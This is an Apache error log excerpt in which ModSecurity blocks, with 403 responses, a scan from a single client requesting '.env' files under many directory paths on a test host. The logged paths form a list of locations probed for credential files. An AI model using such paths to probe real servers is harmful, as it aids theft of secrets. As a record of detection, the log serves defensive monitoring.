[Thu Feb 26 01:03:05.317620 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtQAAAAQ&quot;]
[Thu Feb 26 01:03:05.317780 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtQAAAAQ&quot;]
[Thu Feb 26 01:03:05.323163 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUQAAAAI&quot;]
[Thu Feb 26 01:03:05.323402 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUQAAAAI&quot;]
[Thu Feb 26 01:03:05.323555 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUQAAAAI&quot;]
[Thu Feb 26 01:03:05.349283 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftpmaster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUgAAAAI&quot;]
[Thu Feb 26 01:03:05.349540 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUgAAAAI&quot;]
[Thu Feb 26 01:03:05.349694 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUgAAAAI&quot;]
[Thu Feb 26 01:03:05.353271 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtgAAAAQ&quot;]
[Thu Feb 26 01:03:05.353502 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtgAAAAQ&quot;]
[Thu Feb 26 01:03:05.353656 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-end/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtgAAAAQ&quot;]
[Thu Feb 26 01:03:05.371466 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /functions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUwAAAAI&quot;]
[Thu Feb 26 01:03:05.371685 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUwAAAAI&quot;]
[Thu Feb 26 01:03:05.371827 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUwAAAAI&quot;]
[Thu Feb 26 01:03:05.385596 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtwAAAAQ&quot;]
[Thu Feb 26 01:03:05.385804 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtwAAAAQ&quot;]
[Thu Feb 26 01:03:05.385945 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtwAAAAQ&quot;]
[Thu Feb 26 01:03:05.422537 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuAAAAAQ&quot;]
[Thu Feb 26 01:03:05.422762 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuAAAAAQ&quot;]
[Thu Feb 26 01:03:05.422915 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuAAAAAQ&quot;]
[Thu Feb 26 01:03:05.445283 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /gcp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlVQAAAAI&quot;]
[Thu Feb 26 01:03:05.445491 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlVQAAAAI&quot;]
[Thu Feb 26 01:03:05.445652 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlVQAAAAI&quot;]
[Thu Feb 26 01:03:05.456137 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/momentum-fe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuQAAAAQ&quot;]
[Thu Feb 26 01:03:05.456342 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuQAAAAQ&quot;]
[Thu Feb 26 01:03:05.456489 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuQAAAAQ&quot;]
[Thu Feb 26 01:03:05.486568 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHugAAAAQ&quot;]
[Thu Feb 26 01:03:05.486773 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHugAAAAQ&quot;]
[Thu Feb 26 01:03:05.486924 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHugAAAAQ&quot;]
[Thu Feb 26 01:03:05.519353 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuwAAAAQ&quot;]
[Thu Feb 26 01:03:05.519563 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuwAAAAQ&quot;]
[Thu Feb 26 01:03:05.519706 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHuwAAAAQ&quot;]
[Thu Feb 26 01:03:05.572363 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /github-connect/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlWQAAAAI&quot;]
